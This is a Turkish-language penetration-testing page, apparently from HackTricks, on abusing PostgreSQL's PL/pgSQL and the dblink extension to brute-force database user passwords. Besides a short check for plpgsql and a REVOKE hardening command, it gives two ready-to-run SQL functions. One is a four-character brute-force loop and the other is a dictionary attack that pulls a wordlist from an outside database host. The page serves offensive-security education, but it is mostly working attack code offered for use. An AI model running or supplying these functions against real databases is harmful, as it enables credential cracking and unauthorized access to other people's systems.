# PL/pgSQL Parola Kaba Kuvvet {{#include ../../../banners/hacktricks-training.md}} **[Bu saldırılar hakkında daha fazla bilgi için orijinal belgeyi bulun](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**. PL/pgSQL, **SQL'in yeteneklerini aşan** ve **gelişmiş prosedürel kontrol** sunan **tam özellikli bir programlama dilidir**. Bu, döngülerin ve çeşitli kontrol yapıların kullanımını içerir. PL/pgSQL dilinde oluşturulan fonksiyonlar, SQL ifadeleri ve tetikleyiciler tarafından çağrılabilir, bu da veritabanı ortamındaki işlemlerin kapsamını genişletir. Bu dili, PostgreSQL'den kullanıcı kimlik bilgilerini kaba kuvvetle kırmasını istemek için kötüye kullanabilirsiniz, ancak veritabanında mevcut olmalıdır. Mevcut olup olmadığını kontrol etmek için: ```sql SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+--------- plpgsql | ``` Varsayılan olarak, **fonksiyon oluşturma, PUBLIC'a verilen bir ayrıcalıktır**, burada PUBLIC, o veritabanı sistemindeki her kullanıcıyı ifade eder. Bunu önlemek için, yönetici PUBLIC alanından USAGE ayrıcalığını geri alması gerekebilirdi: ```sql REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC; ``` Bu durumda, önceki sorgumuz farklı sonuçlar verecektir: ```sql SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+----------------- plpgsql | {admin=U/admin} ``` Aşağıdaki scriptin çalışması için **`dblink` fonksiyonunun mevcut olması gerekir**. Eğer mevcut değilse, onu oluşturmayı deneyebilirsiniz. ```sql CREATE EXTENSION dblink; ``` ## Şifre Kaba Kuvvet İşte 4 karakterli bir şifre kaba kuvvet saldırısını nasıl gerçekleştirebileceğiniz: ```sql //Create the brute-force function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ DECLARE word TEXT; BEGIN FOR a IN 65..122 LOOP FOR b IN 65..122 LOOP FOR c IN 65..122 LOOP FOR d IN 65..122 LOOP BEGIN word := chr(a) || chr(b) || chr(c) || chr(d); PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; END LOOP; END LOOP; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql'; //Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); ``` _Not edin 4 karakteri brute-force etmenin bile birkaç dakika sürebileceğini unutmayın._ Ayrıca **bir kelime listesi indirebilir** ve yalnızca o şifreleri deneyebilirsiniz (sözlük saldırısı): ```sql //Create the function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ BEGIN FOR word IN (SELECT word FROM dblink('host=1.2.3.4 user=name password=qwerty dbname=wordlists', 'SELECT word FROM wordlist') RETURNS (word TEXT)) LOOP BEGIN PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql' -- Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); ``` {{#include ../../../banners/hacktricks-training.md}}